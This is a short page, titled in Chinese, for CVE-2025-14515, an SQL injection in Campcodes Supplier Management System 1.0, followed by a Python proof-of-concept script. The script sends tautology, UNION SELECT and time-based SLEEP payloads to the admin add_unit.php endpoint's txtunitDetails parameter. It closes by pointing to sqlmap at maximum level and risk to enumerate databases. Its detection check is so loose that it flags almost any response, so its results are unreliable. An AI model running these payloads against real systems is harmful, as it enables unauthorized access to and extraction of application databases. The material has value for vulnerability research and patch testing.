CVE-2025-14515 Campcodes供应商管理系统SQL注入漏洞

import requests import sys # CVE-2025-14515 SQL Injection PoC # Target: Campcodes Supplier Management System 1.0 # Endpoint: /admin/add_unit.php # Parameter: txtunitDetails target_url = sys.argv[1] if len(sys.argv) > 1 else "http://target.com/admin/add_unit.php" # SQL Injection Payloads payloads = [ "' OR '1'='1", "' UNION SELECT NULL-- -", "' UNION SELECT version(),user()-- -", "' AND SLEEP(5)-- -", "admin' OR '1'='1' --" ] headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Content-Type': 'application/x-www-form-urlencoded' } print(f"[*] Testing CVE-2025-14515 SQL Injection on {target_url}") for payload in payloads: data = { 'txtunitDetails': payload, 'submit': 'add' } try: response = requests.post(target_url, data=data, headers=headers, timeout=10) print(f"[+] Payload: {payload}") print(f" Status: {response.status_code}") if 'error' not in response.text.lower() or response.status_code == 200: print(f" [!] Possible vulnerability detected") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") print("[*] Testing complete. Use sqlmap for detailed exploitation:") print(f"sqlmap -r request.txt --level=5 --risk=3 --dbs")